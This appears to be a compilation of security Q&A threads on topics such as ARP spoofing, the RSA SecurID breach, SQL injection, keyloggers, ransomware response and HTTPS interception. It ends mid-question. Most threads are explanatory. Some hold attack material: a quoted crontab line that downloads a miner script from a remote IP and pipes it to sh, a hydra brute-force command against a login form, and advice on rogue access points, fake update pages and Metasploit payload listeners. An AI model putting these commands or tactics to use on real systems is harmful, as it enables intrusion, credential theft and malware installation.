I found here that  'If you run it on an interface that is enabled, but not connected to a network, Ettercap will complain that "ARP poisoning needs a non empty hosts list"' .

How can I check which is the case with the eth0 interface?

The problem is that you are using the NAT adapter. ARP spoofing relies on the Address Resolution Protocol (ARP), which functions between layers 2 and 3 of the OSI model. Since you are behind a NAT, your Kali machine and the target machines are on two distinct layer 2 subnets, and ARP will not traverse both subnets.

The solution would be to use a bridged adapter instead, so that all machines are on the same subnet.


Is it possible to get a notification in metasploit? Is it possible to get a notification after a victim download a infected file. So that i must not spend days to wait for a conection ?

Getting a notification means that you have to setup a listener so it can receive this notification whenever someone installs this payload.

So it's the same, you can simply setup your listener to work in the background of your system, and automate some scripts to do regular 'hacking stuff'.

If it's a must, then instead of automate a script, use some programming skills to replace that automation with sound playing script, and that will be your notification.


Securely transferring files back and forth between company and clients I just was wondering what is considered a common practice in the security community for securely sending files back forth between company and client. For example, at the company I work for, we receive Excel files from our clients through our web portal, we then review them and send them back via email. A problem came up where a file was emailed to the wrong client.

We have started using our website to transfer files back and forth since then, but the design and process by which documents are assigned to clients -so that only they can see the document on their login- is really not efficient. It is multiple steps and takes longer than it should to simply say "x should see y".

Anyway, the company I work for thinks that they're smarter than everyone else and no one really has any database, programming, IT, or security experience so they want to have these long drawn out conversations that are essentially reinventing the wheel. Reinventing the wheel in that there a common practices that companies utilize millions of times a day.

So this is the question. How are most companies sending their confidential information between themselves and clients?

I know with institutions I personally bank with or have credit cards through, it is all through their customer portal. They probably just have a more efficient way of assigning docs to clients than we have.

Typically client portals (secured with HTTPS) are the recommended best practice for exchanging documents. If your current solution is kludgy and maintaining different access for different clients is cumbersome, there are some canned document sharing portals available (some even free, though specific product recommendations are off topic here) that have the notion of maintaining separate "sites" for each user.

I would investigate what aspects of your current solution make it problematic and then correct them, or look for a product that addresses those issues already.


Anybody have additional information on the EMC RSA SecurID compromise? The Security Advisory Press Release here doesn't have much information, the email that alerted me to this didn't help much more, and unfortunately I heard about the two Thursday evening conference calls (how quaint!) after they had already happened, so I'm left to wait until tomorrow morning for the next call.

I'm wondering if someone has a recording or transcript of one of the first two calls and/or any additional useful information.

My speculation is that someone downloaded some percentage of seed records for tokens.  IIRC, customers (and, apparently, bad guys) can download seed records from the RSA site without a strong second factor. Irony alert!

Some good points are made at the Schneier on Security blog: RSA Security, Inc Hacked.

The worry is that source code to the company's SecurID two-factor authentication product was stolen, which would possibly allow hackers to reverse-engineer or otherwise break the system. It's hard to make any assessments about whether this is possible or likely without knowing 1) how SecurID's cryptography works, and 2) exactly what was stolen from the company's servers. We do not know either, and the corporate spin is as short on details as it is long on reassurances.
...
Security is all about trust, and when trust is lost there is no security. User's of SecurID trusted RSA Data Security, Inc. to protect the secrets necessary to secure that system. To the extent they did not, the company has lost its customers' trust.

Updated to fix some misconceptions....
The SecurID access code calculations had already been reverse-engineered - see RSA SecurID data compromised and Cain and Able.  The algorithm requires the token-specific AES key ("seed record") supplied by RSA along with the token.
The comments in Schneier's blog speculate on the possible implications.  It seems likely that some sort of database of seeds for each serial number has been stolen, allowing attackers who know the serial number (printed on the back of the token) and can figure out the token's clock setting (e.g. by  seeing a few access codes) to get the seed and calculate future access codes.  If the SecurID is used alone for authentication, that's all they would need.  If it is part of a 2-factor system, e.g. used alongside a password or PIN, this would reduce that to a one-factor system.
I'm amazed that SecurID has gotten away so long with so much security thru obscurity in their design!  I wonder if they retain the seeds for all the devices they sell - seems like a big risk.
Update: Lockheed was attacked, reportedly via copied SecurID keys: Lockheed Martin Confirms It Came Under Attack – AllThingsD
Update: As @D.W. notes, Dan Kaminsky's Blog On The RSA SecurID Compromise has more complete discussion of the issues here, which generally agrees with the blog comments I noted here, though it doesn't give much weight to Schneier's fears of new attacks based on a hypothesized theft of source code.


Great Firewall of China and simple SSL connection I have an app that uses a SSL connection to interact with the servers placed in Europe/USA. The app uses a custom protocol built on top of TCP/IP. The app uses a self-signed certificates to check the server during the SSL handshake (the client app have the root certificate to the check server, no third-parties are needed to check the certificates).

Does the GFC block such connections or not?

UPD

Servers placed in Europe/USA
Clients placed in China
Custom binary protocol build on top of TCP-IP that encrypted with TLS1.2. Not HTTPS or any other known protocol.
Self-signed certificate used to authenticate servers. I.e. clients have root certificate (several KB) that used to check certificate of the server. If check passed - TLS1.2 connection established.
used server ports are in the range: 10000-20000. I.e. not well-known ports like 443 etc. (Does the answer change if ports in the range 1-1000 will be used?)
I have no target region in China. Generally app should be able to connect to the server from any region of China

I'm not sure you can have any real assurances here because the issue isn't just
the firewall. The real problem is that your dealing with an environment which is
heavily controlled at all layers and the firewall is just one component. It is
quite likely the firewall may simply block connections which it cannot inspect
or has any concern over, but it is probably even more likely that they could
insist clients download and install a government certificate which they could
use in a 'Comodo Style' MItM scenario.

My guess would be that it will depend on whether your connections are actually
noticed and considered to be of any real concern. When you consider the size of
population your dealing with and the amount of data/connections the government
would need to monitor, it is likely that unless something brings what you are
doing tot he attention of the right people, your scheme would be reasonably
secure. However if and when your connections are noticed and there is a desire
to look more closely, then all bets are off.

In an environment where one authority has control over all layers of the
network and can likely insist on clients installing or performing some action
before they are even allowed network access, I think you have little hope of
being able to secure the connection. If the government wants to see it, they
will be able to find a way.

The real question will be down to what the expected level of interest is. Even
the Chinese government has limited resources. At some level a decision has to be
made on what will get the most results for the resources they have. If you were
talking about some service which was going to be used by a large sector of the
population and it was felt that use was going to be detrimental to the ruling
power and that power controls all the infrastructure, you can be pretty certain
they will find a way to access the data. On the other hand, if this is something
only used by a small number of people or if the use is deemed to be of low
threat, then it is likely they would do nothing.

It all really comes down to a risk/benefit analysis from both sides. The real
problem is that one side controls all the client side infrastructure. if they
want in, they will find a way.


Suspicious url in redis key value When i put keys * for getting all pairs, one key have named as

  crackit

Then i use below command to get its value

get crackit

its shows the below url, which looks suspicious.

  /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh.

Google search results shows a chinese language forum named as

  https://www.v2ex.com/t/373529( I didn't understand language of this site)

I thought there is some intrusion. I immediately delete the all keys . I have no idea what happen around my redis

OP given url to the forum mentioned that the developer cloud server redis has been compromised, an entry has been added to crontab. i.e.

*/1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh

The rest of the commenter mentioned that this is a possible hack that installs Bitcoin miners inside the system.

I agree with @Itamar Haber, you must redeploy your server from scratch. Simple application clean up is not enough.


Can you protect against SQLi without using prepared statements? I am learning about SQLi (SQL injection) and I know that the solution to avoid them is prepared statements. However, does this mean that without them we are sure that we can get hacked? Are prepared statements the only solution? I was thinking about that and I have decided to write a piece of code that I think is safe without using prepared statements. The code is the following.
$username = escapeSimple($_POST['username']);
$password = $_POST['password'];
$sql= "SELECT user_id, username, password
            FROM users WHERE username='".$username."'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($username == escapeSimple($row["username"])) {
   if (md5($password) == escapeSimple($row["password"])) {
         //Log in
   }
}

As you can see in users table I save the passwords using md5.
I think that this is safe. Am I missing something? Are there some vulnerabilities that I do not see?

Not sure what escapeSimple does exactly, but if it behaves like mysqli_real_escape_string then it's ok, as long as you are not using some weird character encoding or forget to set it correctly (UTF8 should be ok by default, as far as I know).
Remember that using MD5 or any other simple hashing function is considered bad practice today, and you should use better functions which take more resources to compute (and with salts), for example bcrypt, argon2, etc.
I also don't like that == in the comparison, you should always use === unless you have a good reason to want type juggling. Otherwise you are going to get into trouble and something like this might happen: https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
By the way, there might also be timing attacks to consider (see Alexander O'Mara's comment below).
That said, your question was about avoiding SQL injection without prepared statements. Yes, it's definitely possible to avoid it, if you are very careful and make sure every statement is correctly constructed and its parts correctly escaped. However in some cases it might be tricky, and to avoid any mistakes of course prepared statements are the way to go.


Why should I add a certificate to "Trusted Root Certification Authorities"? I want to use a programm, which lets me modify touchpad gestures. http://www.multiswipe.com/faq

But I need to add their certificate ( see in FAQ [ How to install MultiSwipe? ] ) to make it work.

Now I'm scared. Why would such a programm need this to work?
Should I do it?

What bad could happen if I do it?

This is the Virus Total log for the .exe : https://www.virustotal.com/de/file/04bce76f119144042a2779bc8324f52abb5fa98f397f34d12f3da70e03d9e9ee/analysis/1427839638/

Because the software wants to intercept HTTPS communications without making your browser throw certificate errors.

There are some legitimate uses for this, like parental controls/web filtering software, anti-phishing protection (where some software compares the URLs you're visiting against known malicious websites), etc. For example, Avast antivirus provides such anti-phishing/anti-malware protection.

This works by having your browser's traffic redirected through a proxy running on the local machine which will do an MITM attack on the traffic - every time you visit a site, you're actually talking to the proxy, which in turn will talk to the real server. The problem is, even if you trust the proxy to not be malicious, it needs to correctly validate the certificates presented by the remote servers (a task normally done by your browser), and if that's not done correctly it may connect to an attacker presenting a fake certificate which exploits some flaw in the proxy so that it'll still be labelled as valid. Your browser won't see anything because the browser only gets the certificate of the proxy (which is trusted because it's been added to your trusted certificate authorities).

Some software generate the private key and its unique certificate on the fly when installing (that's the appropriate way to do it), some other crap software use a hardcoded private key identical across all installations. What that means is once someone extracts it, they can do malicious MITM attacks on you because you have added that certificate (which corresponds to the now compromised private key) in your trusted CAs, so your computer will trust their server. This is exactly what happened with Superfish, it's adware so I will obviously say it deserves to burn in hell, but even then it wasn't intended to be that malicious, but unfortunately because of the incompetence of its developers it opened a massive security breach in lots of Lenovo PCs (as this garbage was installed by default on them).

I personally wouldn't trust any software that wants to intercept my HTTPS traffic, not even the antimalware ones (like Avast and possibly others), it's just too much of a risk if they happen to screw up certificate validation (and not being able to see the "real" certificate of the website in my browser is also a problem).

In your case, this software is malware, the low quality site is a dead giveaway, looks like someone just rushed this because they wanted to see their über-l33t HTTPS-intercepting malware in action. And they use some FUD to coerce you into installing their cert :

  MultiSwipe is a simple utility but in order for it to work correctly it needs to be able to control some of the users UI, so in order to install MultiSwipe you will need to first add the certificate that is located in the MultiSwipe directory of your download

The UI has absolutely nothing to do with certificates.

TLDR: don't install this software at all (even if you don't install a cert, it can still compromise your entire user account and possibly your machine if you run it as administrator - it's actually pretty lazy on their part to ask you to install the cert whereas they can do it themselves if you run it as admin).


Preferred access list (WPA2 rogue AP) For the following scenario in which victim has a WIFI access point at home (AP-HOME) through which he surfs the net and a client (CLI1) connected to "AP-HOME" via WPA2. The victim also has "FREE-AP" in his list over preferred WIFI networks. "FREE-AP" has no encryption.

The evil hacker has a battery driven mobile rogue access point set up to use either ESSID "AP-HOME" or "FREE-AP" depending on conditions below in questions. Also the rogue AP has a high gain antenna attached and no encryption.

I have Following Questions:

Will CLI1 connect to the hackers rogue FREE-AP instead of victims
legitimate access point AP-HOME if the evil hackers rogue access
point is hidden close to the CLI1 (but still outside the house)? Or
will AP-HOME always be chosen since it is number one in CLI1
preferred list for WIFI connections?
Will a denial of service-attack against the victims AP-HOME
disconnect CLI1 from AP-HOME and then choose number two in the list
over preferred connections instead, hence connecting to evil hackers
rogue ap FREE-AP?
If CLI1 is say at work and already connected to a LAN via cable but
also has the WIFI turned on. What would happen if evil hacker comes
along with the rogue access point with ESSID "AP-HOME". Will CLI1
connect to that as well or do nothing since it is connected (to
internet) already? I know windows will use the network connection
with lowest metric value but will CLI1 still be a part of the
network that the rogue access points is offering (meaning CLI1 will
be possible to attack via WIFI interface)?
Any ideas on how to get CLI1 to download an exe? The best idea so
far is to fake a page looking like http://www.update.microsoft.com/
and try to trick the user into downloading and run a VERY IMPORTANT
UPDATE

Yes, We can create FAKE AP but with same ESSID or BSSID as legitimate one. Thus if our signal strength is higher victim will connect to FAKE AP. For ex We can duplicate the AP-HOME and with same MAC address that AP-HOME has.
If AP-HOME is off, and we create fake AP with ESSID AP-HOME, client will automatically connect to us.
we can set up wifi bridge between authorized network and Rougue-AP, and in this case if Victim connects to Rougue-AP he will have access to internet via Wifi-Bridge.
Well, the simplest way but the most hardest trick is to show victim a webpage which will automatically download a virus on client's PC. Ever visited a malicious site that automatically delivered virus on your machine. This way client will no necessarily download virus but will get infected.

Some things in question were unclear, I hope this will help


Can keylogger software exist solely on a keyboard PCB? I am looking to build a custom keyboard and bring it to work, but the security department is extremely wary of keyloggers, and rightly so. Now, my understanding of hardware keyloggers is that they are either USB adapters or additional PCBs wired into keyboards, and since I am not planning on wiring a keylogger into my own keyboard I feel as though I should be safe. However, the keyboard PCB I have is from some lesser-known Chinese distributor, so I am now concerned that the PCB itself may contain keylogging software.

Is this possible, or is a secondary PCB required for keylogging capabilities?

The answer that you don't really want is that keyloggers can be very stealthily incorporated into pretty much anything:

Keyboard with integrated keylogger:
https://www.paraben-sticks.com/keyboard-keylogger.html
Less savoury keylogger found in retail keyboard, sending keystrokes back:
https://thehackernews.com/2017/11/mantistek-keyboard-keylogger.html
Wifi keylogger in a USB extension cord:
https://www.amazon.co.uk/AirDrive-Forensic-Keylogger-Cable-Pro/dp/B07DCCBBHT
QMK the firmware used on many handmade keyboards is fully programmable. Many keyboards use quite sophisticated CPUs (QMK supports e.g. Atmel AVR and ARM processors) . Adding an sdcard to a mainboard is quite easy.

All of this is fairly irrelevant, because you're approaching the issue from the wrong direction:

  since I am not planning on wiring a keylogger into my own keyboard I
  feel as though I should be safe

This is assuming that the threat model that IT Security are working with are you being an unassuming victim to something like the second link. The more probable route is assuming that you are a potentially malicious insider, and aiming to use a stealthed keylogger, coupled with standard business practices ("Hey, {Admin}, I need this totally legitimate software, can you just enter your credentials to install it?").

While the first option is something to protect from, the second may also be considered. Luckily for the IT Security team, the solution is simple, known and approved keyboards are the only ones to be used.

Unfortunately, this isn't good for your prospects on this.


Sanitizing JSON deserialization I'm currently investigating best practices for secure JSON deserialization of untrusted input for object mapping. After researching, it seems like...

the default jackson mapper:
https://stackoverflow.com/questions/45846083/using-jackson-java-to-ensure-that-and-all-serialization-to-json-delimits-untrust

and OWASP JSON sanitizer
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer

...both accomplish what I'm looking for. From a security perspective, is there a reason to use the OWASP JSON sanitizer if we're already using jackson objectmapper?

According to the NCC group's Jackson Deserialization Vulnerabilities:

  Jackson does not perform typing by default (including collection generic
  types) and does not allow the specification of arbitrary types

Besides the link you gave, OWASP has a page on the Deserialization of untrusted data which explains how to handle types.


Bitlocker without admin privileges Are admin privileges a must to be able to encrypt your files with Bitlocker?

So far I just found one comment on the internet that says it's possible without a problem but no other source to verify this.

It depends on the type of drive.
Bitlocker FAQ for Windows 7

What credentials are required to use BitLocker?
To turn on, turn off, or change configurations of BitLocker on operating system and fixed data drives, membership in the local Administrators group is required. Standard users can turn on, turn off, or change configurations of BitLocker on removable data drives.
Disable the Control use of BitLocker on removable drives policy setting (located in Computer Configuration\Administrative Templates\Windows Components\BitLocker Drive Encryption\Removable Data Drives) to restrict standard users from turning on or turning off BitLocker on removable data drives.

Bitlocker FAQ for Windows 10

What credentials are required to use BitLocker?
To turn on, turn off, or change configurations of BitLocker on operating system and fixed data drives, membership in the local Administrators group is required. Standard users can turn on, turn off, or change configurations of BitLocker on removable data drives.


Are "man in the middle" attacks extremely rare? In "Some thoughts on the iPhone contact list controversy and app security", cdixon blog

Chris Dixon makes a statement about web security

  Many commentators have suggested that a primary security risk is the fact that the data is transmitted in plain text. Encrypting over the wire is always a good idea but in reality “man-in-the-middle” attacks are extremely rare. I would worry primarily about the far more common cases of 1) someone (insider or outsider) stealing in the company’s database, 2) a government subpoena for the company’s database. The best protection against these risks is encrypting the data in such a way that hackers and the company itself can’t unencrypt it (or to not send the data to the servers in the first place).

I am wondering if there is any cold, hard, real world data to back up that assertion -- are "man in the middle" attacks actually rare in the real world, based on gathered data from actual intrusions or security incidents?

My favorite current resource for cold, hard, real world data is the Verizon 2011 Data Breach Investigations Report. An excerpt from page 69 of the report:

Actions
The top three threat action categories were
Hacking, Malware, and Social. The most common
types of hacking actions used were the use of
stolen login credentials, exploiting backdoors,
and man-in-the-middle attacks.

From reading that, I infer that it's a secondary action used once somebody has a foothold in the system, but the Dutch High Tech Crime Unit's data says it's quite credible for concern. Of the 32 data breaches that made up their statistics, 15 involved MITM actions.
Definitely don't stop there, though. That entire report is a gold mine of reading and the best piece of work that I've come across for demonstrating where threats are really at.
For fuzzier references to MiTM attacks and methods, see also this excellent answer to MITM attacks - how likely are they? on Serverfault.
I would go further in saying that any instance of a SSL root coughing up a bad cert is a sign of an attack, otherwise they'd be pretty useless compromises. Finally, because I'm that guy, I would definitely try to splice into your network box outside the building if I were doing your pentest. One can do amazing things with a software radio even on a wired connection.


About Android's PNG vulnerability I'm curious about this vulnerability. I know that can execute code remotely and needs user interaction, but what type of interaction? Download the image? Copy it? I will appreciate if someone can answer me.

The file can be specifically crafted to trigger the malicious code when the user opens it (views it) on his device (local or via a received link).

The vulnerability associated with the PNG bug can be tracked as CVE-2019-1986, CVE-2019-1987, CVE-2019-1988.

CVE-2019-1986 – Uninitialized errors in SkPngCodec

CVE-2019-1987 – Heap buffer overflow

CVE-2019-1988 – Bug decoding JCS_RGB jpeg files


Is it safe to use virtual mobile numbers for verification Is it safe to use virtual mobile numbers for account verification & authentication for services such as PayPal, Twitter, Gmail, Linkekdin, etc.? And what is the security drawback for this?

The question is whether its a one time use and forget, or is it kept in their database and used for future verification

If you are certainly sure that it is a one time usage, I don't think there is any problem using a virtual number.

If not, you might end up losing control of the account if you are required for that number (two factor auth for example) or in a very rare case someone else who currently has that virtual number can gain control over your account (more science fiction than reality)


Android OS verity signature bypass I am just getting into custom firmware and rooting phones.

I have a phone that appears to be unrootable for whatever reason due to a locked bootloader. The private key was never released and we only have access to the public key.

In order to flash install the firmware, verity keys have to match and the failure to match them results in a failed install.

Stock or factory editions have the correct public key and boot image, or recovery image, or OS image. Can this checksum based image of verification be copied and replace the signature image of a custom operating system image?

This would hopefully result in being able to trick the device into thinking it is installing factory firmware.

Or can I change the permanent file on the device itself to make the security checks go away? Like when on the internet sometimes it says security certificate untrusted proceed anyway.

Could we make the bootloader have like a one-time exemption click to allow non-verified image files to be uploaded?

Android devices with locked bootloaders and production mode ROMs have none such capabilities. Your first proposal of cloning the checksum would not work as the code signing identity is verified by the device before flashing or booting when the bootloader is locked. This is done in an effort to harden the devices against attackers and is an important part of any consumer product.

Depending on your device's firmware, there may be publicly known exploits which can gain you root however you'd have to craft the payloads yourself.


Does Google collect and store data about activity done in Incognito mode? Suppose that someone browses non-Youtube videos (like on Vimeo) in Google Chrome's Incognito mode.

Does Google collect and store any data about this activity ("watched videos on Vimeo" activity)?

In general, does Google store ANYTHING that is done in Incognito mode?

I think you need to distinguish between "Google" and "Chrome".
Chrome is a browser and the main feature of the Incognito mode is to delete any locally stored information from the browser session after the Incognito mode was closed. The point here is locally stored because this is all the browser can fully control.
Google is instead a company which among others things collects information about the users behavior by being included with Google Analytics or Doubleclick into many websites. This is similar how other companies like Facebook or the various ad and tracking networks are included into the websites. And this kind of data collection is also independent from the browser you use, although some browsers have special features or some extensions can be added to reduce the amount of tracking and profiling.
This remote data collection does not stop when the browser is in Incognito mode. In fact, usually these ad and tracking networks are not even aware that Incognito mode is used. What is different though is that tracking information from the "normal" mode and Incognito mode cannot be easily associated with each other, so the profiling done in Incognito mode is mostly independent from the profiling done in normal mode or from profiling done in other Incognito sessions.


Brute forcing using hydra I'm try to do brute force attack on a system and I have complete word list of the possible passwords because they use a really simple format but when I tried hydra with the following post responses, it gave me a error saying that

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-19 22:02:39
[ERROR] Wrong syntax, requires three arguments separated by a colon which may not be null: /Connect/Login.aspx

Any ideas how to fix this?

  hydra -l A23432 -P wordlist_1.txt -s 80 -V 0.0.0.0 http-post-form "/Connect/Login.aspx:__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTA5MTEzOTQwNA9kFgJmD2QWAgIDD2QWDAIBD2QWAgITDw8WAh4HVmlzaWJsZWhkZAIFDxYCHgRUZXh0BTJDb3B5cmlnaHQgMjAwOSBIb3VzdG9uIEluZGVwZW5kZW50IFNjaG9vbCBEaXN0cmljdGQCDQ8PFgIeC1Bvc3RCYWNrVXJsBSVodHRwOi8vd3d3LmhvdXN0b25pc2Qub3JnL2RvbWFpbi83ODg4ZGQCDw8PFgIfAgUlaHR0cDovL3d3dy5ob3VzdG9uaXNkLm9yZy9kb21haW4vNzg5NGRkAhEPDxYCHwIFJWh0dHA6Ly93d3cuaG91c3RvbmlzZC5vcmcvZG9tYWluLzc4OTVkZAIVDw8WAh4LTmF2aWdhdGVVcmwFMi4uXEhlbHBcT0NSIC0gUFNDIEhlbHAgR3VpZGUgLSBFbmdsaXNoIFZlcnNpb24ucGRmZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFC2N0bDAwJGltZ0RM1KNKEt%2BzLZA8Z%2BnkUqZ3%2BrVNgP4%3D&__VIEWSTATEGENERATOR=125EDFF6&__PREVIOUSPAGE=eic2obM9HsJVGXjCuBkW_BCXDoR6wcOVTcJrExElqVWm-b3vnFcneVi-Yc52SWRk3vuSeeDAj6xlnRF9h5rqjDrO5hURRKbSQ_cRyvIHbRX7ss3b0&__EVENTVALIDATION=%2FwEWCQLqlo7JBQKVjO6OBwLzw%2BOgBQLA%2FraSCQKd2bA2ApyI9v8JAv2ao%2BgDAqebmbQDAujk6qkJVYCk1DwUcL4617gtTeSpx0D105E%3D&ctl00%24ContentArea%24txtUserName=^USER^&ctl00%24ContentArea%24txtPassword=^PASS^&ctl00%24ContentArea%24btnLogin=Login:Invalid password

You need to supply the correct syntax. Here is an example:

hydra [TARGETIP] http-form-post "/TARGETPATH/TARGETPAGE.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt

1st field (before the 1st colon) = location of the target page
2nd field (before the 2nd colon) = user & password parameters
3rd field (after the 2nd colon) = page response on incorrect login attempt


Security risks of using SQL Server without a firewall My question is prompted by the fact that WinHost.com has some really cheap shared hosting for SQL Server where you don't need to manage your own Virtual Private Server. Unfortunately there is no firewall so you can access the server from anywhere on the net as long as you know the username and password.
Personally, I'm not bothered by this for a startup project (which is the context of this question). Seems like a perfectly reasonable way to cut costs until you start making money. But there are others who would look at this like it's just the worst security catastrophe in the world just waiting to happen.
I can think of a few things that might happen.

Brute force attack.
Denial of service attacks.
Someone somehow gets a hold of some credentials to login, and now they can because their IP isn't blocked. This seems like the biggest problem to me... particularly if you have sensitive information.

For 1) this is not going to happen if you have a strong enough password. 2) would just be an annoyance as worst case scenario you move your database to a more secure hosting service. 3) Seems like the only real threat in my eyes.
So if I was presenting this as an option to someone who wanted to get a solution developed cheaply but wanted them to be fully aware of the risks, would this pretty much cover the possibilities or am I missing anything significant?

There are many vulnerabilities associated with database management systems. Basic security issues include:

Deployment security issues.
Application level (DBMS) security issues.
Abuse of database features
Zero day attacks
Data leaks

When your application is developed, another attack surface will be added to your database.
You can avoid brute-force attacks by using a strong password. But preventing against DDOS is somewhat difficult.
You can show them the risk associated with the system and have them sign to agree to this risk, if they cannot afford to mitigate the risk. But accepting a huge risk is also not acceptable.


RSA blind signature vs signing a *random* hash My understanding is that the key feature of a blind RSA signature is that the signer is unaware of the contents of the message being signed.

How is this different from simply appending a random salt to the message and hashing it? Wouldn't feeding that hash to the input of the RSA signing function accomplish the same thing?

Whoever knows the message, the salt and the signer's public key can then verify the signature. Or, whoever has the hash and the signer's public key can verify the signature. Meanwhile, the signer only knows the hash of what they are about to sign, so it seems that it accomplishes the same task - the signer is unaware of the contents of the actual message, and cannot link the signed hash to the original message without knowing the original message.

What is the rationale behind introducing blind RSA signatures, rather than using the method described above?

Is there some property that even after the original message is revealed to an attacker, it still cannot be linked to the signed message? Is that unlinkability?

Yes. Unlinkability is one of the Security goal that needs to be achieved.

For that, First hash of the message is performed and then add some randomness then give it to signer for signing. So that, Even after you send a signature and message, hash of the message would be easily computed by receiving party, he will not be able to collude with signer to know sender's identity.


How to get MAC address via IP I have an IP address of a computer which I am currently away from, and I need the MAC address.
How do I get the MAC address if I ony have the IP?

If you are on the same network you can open up a Terminal:

ping your_ip_address

hit Ctrl-C on the keyboard to stop pinging then do a:

arp -a

a list should appear, look for the ip you just pinged and next to it is the MAC address of the device.


How do i protect my self from "Form grabbing" attack? I'm writing a simple piece of security software - I'm interested in attack techniques and especially in how to protect my users from this attack?

From wiki I can see how its works: it hooks the API call of the browser before sending data.

It's a dangerous attack, even advanced-Keylogger-obfuscation techniques don't work in this way.

I have some knowledge about hooking and sandboxing applications, but I'm not sure..if I sandbox/virtualize all API calls from the browser can this protect my users?

UPDATE: Shame, there is no person understands the question?

Form grabbing attacks happens when a malicious script/program captures your form with your private information.  The most straightforward way to do this is with javascript extension.

The best prevention is to:

use your own trusted computer (malware that could capture form data),
install your OS/programs from trusted source,
do not install browser extensions/user scripts (especially from untrusted sources) or at the very least use private browsing (with all extensions disabled) when you go to these sites,
use a modern up-to-date browser,
only use passwords over https connections (this makes it more difficult for attackers to insert javascript in cross-site scripting),
Also consider disabling javascript.

EDIT:

My original answer mostly was concerned with your title How do i protect myself from "Form grabbing" attack? versus instructing you on how to write security software.  Otherwise I agree with CodesInChaos remark: "It's an unwinnable battle".

There are two distinct places form-grabbing could occur: either from the browser (e.g., an XSS attack loading malicious JS, or a malicious extension installed in the browser) OR monitoring API calls via hooking.

There are a variety of ways of hooking, but if a user/malware has sufficient privileges to insert API hooks, they probably also have enough power to make the output of your hooking detection tests untrustable.

For example, if someone was mounting this style of attack to log all http/https requests you could detect try to detect if the shared library (aka DLL) has changed (granted every benign upgrade to that library will trigger false positives) or contains a certain malware signature.

Now let's say the altered shared library is saved to disk in its altered form.  Now your anti-hooking program computes a cryptographic hashsum to check that the library has not been altered to compare against the known function of the unmodified library.  But what prevents the attacker from just hooking into those calls to calculate the checksum and altering the output to be the pre-modified checksum whenever the malicious checksum comes up?  Nothing, unless of course you are analyzing a hard disk from a safe operating system (e.g., mounted the drive read-only from another computer not infected with the malware).

Granted, due to threats of runtime modification of libraries, you really need to check the instructions in the memory of the process that is running versus the static files.  In this sort of situation, you really need to have the potential malware running to capture the API-hooking attack, though all your safe utilities cannot be trusted as the system has already been compromised.  (You could still scan the disk from a safe setup for whatever program is eventually altering the memory to insert the API-hooks, but its a much harder task where you only find the types of attacks you know to look for).


OCSP recording with JMeter How can I record an application which is using OCSP security with the help of JMeter?

I am not able to record the application i.e. a native app with the help of JMeter as it is using OCSP protocol for security.

You need to add JSR223 samplers or Beanshell samplers to encode and decode reqest and responce, with help of open source third-party Java library from Bouncy castle.

Follow this steps to record application requests which is using OCSP:

Load Test OCSP With JMeter

Check this guides for more information :

Recording with JMeter Proxy


Best practice for direct SQL connection from DB to specific IPs on Internet I am using AWS and looking for any comments on best practices regarding permitting connections to my DB from specific IPs on the Internet. I could give the DB a public IP and just lock down the firewall to only allow connections from the specific IPs that need to connect.

I could probably also use a bastion host in the public subnet and allow the 3rd parties to connect directly to the DB through the bastion.

Any other thoughts or assessments of my proposed options would be greatly appreciated. (VPN is not an option here due to the connecting 3rd parties.)

In general, if you lock down the requesting IPs, the DB authentication requests will never hit the DB, so you won't have to worry about a DOS attack on the DB directly. With AWS specifically, you have the ability to take advantage of a VPC. This is sort of like a VPN but instead you could provide the 3rd parties with their own server endpoint inside of your private cloud. This way the public internet is completely bypassed. If you can't do that, you could consider building an interface (web service or api) for your 3rd party access, without giving them "keys to the castle". And if you can't do that, I don't see any issues with locking down the IPs.

I'd recommend changing the connection port too, even with the firewall in place.


How can I find how Cryptowall infiltrated my work network? Yesterday in the morning a colleague noticed that all files on the file server's Public folder were encrypted and had the HELPME@FREESPEECHMAIL.ORG text appended to each filename.

Public folder is visible by anyone in the wired local network and anyone can write/read/execute to this folder.

Despite this, file server seems to be okay; no high CPU Usage, no ransom messages or any weird alterations to the GUI. Also the server's local user files appear intact.

Not to mention that the file server cannot access the internet on purpose.

The problem is I cannot find how it got inside my network, since all computers appear to be fine. Except for the public folder, all files are good, no suspicious programs, all computers and file server run with ESET Smart Security, no high cpu usage and we only use one computer for emailing.

Any ideas on how can I find which computer was infected?

FYI There is no hardware firewall, all computers and mfps connect to a switch which gets internet connection from a One Access 150 router.

You stated that you do not have a hardware firewall, there is no guarantee that the attack came from an internal machine. You could be exposing numerous ports to the internet.

A business level firewall would help prevent future attacks and most of these devices come with traffic logging capabilities that would aid the forensic investigation.

Most enterprise level AV solutions provide a central administration platform that pushes out new definition updates and logs all the infected files/machines. I'm most familiar with Trend's offering on this, however you would need to investigate each solution for yourself to check it fits your business needs.

For your immediate problem, you should isolate your network from the internet. Then isolate every machine (including servers and any BYOD laptops etc), run a standalone virus checker on every single machine. You should only reconnect machines to the network once they have been verified as clean.

Yes it is long and laborious but the plus side is you can put in a large claim for overtime this weekend.


Compatibility between OpenSSL 0.9.8r and OpenSSL FIPS Object Module v1.2? I have a private key in PEM format that was generated by OpenSSL FIPS Object Module v1.2 using a proprietary third party tool (that I cannot avoid using). This third party tool encrypted the private key with a passphrase that it provides to me in base64 format. For example, I generated a dummy certificate, and it tells me that the passphrase is CPV6TJwm5cMd1WeVupo2Lg==.

My goal is to use this private key in a script that connects to an HTTPS server and presents a client certificate for authentication. Therefore, I need to remove the passphrase from the key. I have tried a variety of things, but I cannot seem to decrypt this private key. Here's are two attempts that do not work:

/Users/mhaase/Downloads $ openssl rsa -in FoundstoneClientCertificate.pem -out FoundstoneClientCertificate2.pem -passin pass:CPV6TJwm5cMd1WeVupo2Lg==
unable to load Private Key
59915:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:/SourceCache/OpenSSL098/OpenSSL098-47/src/crypto/evp/evp_enc.c:330:
